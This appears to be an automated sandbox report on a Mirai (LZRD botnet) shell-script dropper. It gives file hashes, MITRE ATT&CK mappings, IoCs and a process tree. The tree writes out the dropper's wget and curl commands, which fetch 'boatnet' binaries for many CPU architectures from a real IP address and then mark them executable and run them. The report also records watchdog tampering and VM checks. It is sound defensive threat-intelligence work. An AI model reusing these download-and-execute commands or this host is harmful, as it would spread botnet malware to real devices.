mirai | 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5

Analysis

max time kernel
149s
max time network
156s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
18-12-2024 02:18

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General

Target

2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh
Size

2KB
MD5

d7aac5b39f096043750096172ee9a84f
SHA1

fde809f81c26db59c148255c0b60176c8971bc0c
SHA256

2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5
SHA512

77c79dcb7c89e16cfe5d3712adf37173249b6066673ff20c2a2b6c90ebe2eb5ac5c295a250b6b9fc0596ff0872ecc15d4dec8852a515c0826436426dd5f1efff

Score

10^/10

mirai lzrd antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
831	chmod
837	chmod
767	chmod
791	chmod
802	chmod
812	chmod
822	chmod
851	chmod
708	chmod
817	chmod
843	chmod
688	chmod
745	chmod
786	chmod
796	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	689	WTF
/tmp/WTF	709	WTF
/tmp/WTF	746	WTF
/tmp/WTF	769	WTF
/tmp/WTF	787	WTF
/tmp/WTF	792	WTF
/tmp/WTF	797	WTF
/tmp/WTF	803	WTF
/tmp/WTF	813	WTF
/tmp/WTF	818	WTF
/tmp/WTF	823	WTF
/tmp/WTF	832	WTF
/tmp/WTF	838	WTF
/tmp/WTF	844	WTF
/tmp/WTF	852	WTF

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Writes file to system bin folder 4 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-4.dat	upx

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/595/cmdline	WTF
File opened for reading	/proc/655/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/653/cmdline	WTF
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/870/cmdline	WTF
File opened for reading	/proc/648/cmdline	WTF
File opened for reading	/proc/804/cmdline	WTF
File opened for reading	/proc/862/cmdline	WTF
File opened for reading	/proc/868/cmdline	WTF
File opened for reading	/proc/876/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/656/cmdline	WTF
File opened for reading	/proc/828/cmdline	WTF
File opened for reading	/proc/859/cmdline	WTF
File opened for reading	/proc/860/cmdline	WTF
File opened for reading	/proc/876/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/826/cmdline	WTF
File opened for reading	/proc/601/cmdline	WTF
File opened for reading	/proc/849/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/607/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/828/cmdline	WTF
File opened for reading	/proc/834/cmdline	WTF
File opened for reading	/proc/859/cmdline	WTF
File opened for reading	/proc/868/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/654/cmdline	WTF
File opened for reading	/proc/822/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/824/cmdline	WTF
File opened for reading	/proc/841/cmdline	WTF
File opened for reading	/proc/858/cmdline	WTF
File opened for reading	/proc/860/cmdline	WTF
File opened for reading	/proc/874/cmdline	WTF
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/835/cmdline	WTF
File opened for reading	/proc/599/cmdline	WTF
File opened for reading	/proc/847/cmdline	WTF
File opened for reading	/proc/601/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/840/cmdline	WTF
File opened for reading	/proc/866/cmdline	WTF
File opened for reading	/proc/874/cmdline	WTF
File opened for reading	/proc/648/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/608/cmdline	WTF
File opened for reading	/proc/806/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/862/cmdline	WTF
File opened for reading	/proc/864/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
691	wget
695	curl
706	cat

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/WTF	2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.sh4	curl

/tmp/2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh
/tmp/2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh
1⤵
- Writes file to tmp directory
PID:656
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:659
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:682
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:687
- /bin/chmod
  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.x86 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-oZxSmI WTF
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:689
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:691
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:695
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:706
- /bin/chmod
  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.mips boatnet.x86 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-oZxSmI WTF
  2⤵
  - File and Directory Permissions Modification
  PID:708
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:709
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:744
- /bin/chmod
  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.mips boatnet.x86 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-oZxSmI WTF
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:746
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.i468
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.i468
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/cat
  cat boatnet.i468
  2⤵
  PID:766
- /bin/chmod
  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-oZxSmI WTF
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:769
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.i686
  2⤵
  PID:770
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.i686
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:778
- /bin/cat
  cat boatnet.i686
  2⤵
  PID:785
- /bin/chmod
  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-oZxSmI WTF
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:787
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.x86_64
  2⤵
  PID:788
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:790
- /bin/chmod
  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-oZxSmI WTF
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:792
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:793
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:795
- /bin/chmod
  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-oZxSmI WTF
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:797
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:799
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:801
- /bin/chmod
  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-oZxSmI WTF
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:803
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:807
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:810
- /bin/chmod
  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-oZxSmI WTF
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:813
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:814
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:816
- /bin/chmod
  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-oZxSmI WTF
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Reads runtime system information
  PID:818
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:819
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:820
- /bin/cat
  cat boatnet.arm7
  2⤵
  PID:821
- /bin/chmod
  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-oZxSmI WTF
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:823
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:827
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:829
- /bin/cat
  cat boatnet.ppc
  2⤵
  PID:830
- /bin/chmod
  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-oZxSmI WTF
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:832
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:834
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/cat
  cat boatnet.spc
  2⤵
  PID:836
- /bin/chmod
  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-oZxSmI WTF
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:838
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:840
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/cat
  cat boatnet.m68k
  2⤵
  PID:842
- /bin/chmod
  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-oZxSmI WTF
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:844
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:846
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:847
- /bin/cat
  cat boatnet.sh4
  2⤵
  PID:850
- /bin/chmod
  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-oZxSmI WTF
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/WTF

Filesize
23KB

MD5
3bdca38ef6a4b0c3aba6c2aeb9adf306

SHA1
6644331553bc4b14d5409e43ca833a246a48f942

SHA256
072a76e22e93f371f6110b43b1f270a4f5c2e9dbdc919315ffcd81c5979b202c

SHA512
1afafe5654a371e5d472437b26b5a496444f4a057e913e146d01c6c81e4b8c7806cd3bf6ffe51dfffd760a7ec73f8449675d01322ef9a917f233f1a3bfc60863

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/tmp/WTF

Filesize
105KB

MD5
1fd8e43cbe5b81848f9cfc60c09d1340

SHA1
63ab77fb7378f0d6e312f26e844002e80965a494

SHA256
317b00ed2023e148d3e740ffc212f5c4adbfce5abe037f6fa1e606dec067d1fa

SHA512
322a26c7fb80b858a19a1dfffac7b5a759e33f60c125761750a6bbe22590be817b8194194780a2e3542c05634900c8bb2c3cfbafbdd6e94ddc133e5177ffb9c1

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/tmp/WTF

Filesize
220B

MD5
f1c24d9fa40a047ae22d2d3ae7dfeac9

SHA1
750274b02d5f5b00026a4f55b020f4285c693533

SHA256
219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

SHA512
36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

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/tmp/WTF

Filesize
220B

MD5
a8f502a6fb3b7b940e922c951d9e493a

SHA1
fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

SHA256
748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

SHA512
e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

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/tmp/WTF

Filesize
57KB

MD5
5cb5416f0e0923bdc02f6d4ba2a7a82b

SHA1
02a8d03d6b2ecc4571778b978b7c2c6602882543

SHA256
7ad31ffa2a0ccfedf1ebcd62a30d8d7ee06f4a7d7a84b631b7a8f0c550b8c42c

SHA512
1548c1af9960bc65399dc01e491951680f10498988f4afb55c20122d07ae45ac60b53771d8947a91be72948aa916e54d35195f9241bc10f1741cc8288f74d352

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/tmp/boatnet.x86

Filesize
20KB

MD5
9acf9fc63b01f4a7a5b33881073ff6a6

SHA1
cf5be79ccc477ca582c8aee42898442f8089b886

SHA256
0a21cbd563070ce0b39665b70de81e88f4680648335e9c6cd13963e8846e7ea9

SHA512
1dd2bd462850bdd10a2d95214d16dd358131838862a119b47ba6d70a0c894284efbf7294e24c79b0032aba41e09b8e84c372bdae073d6339e269187b8794eae5

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads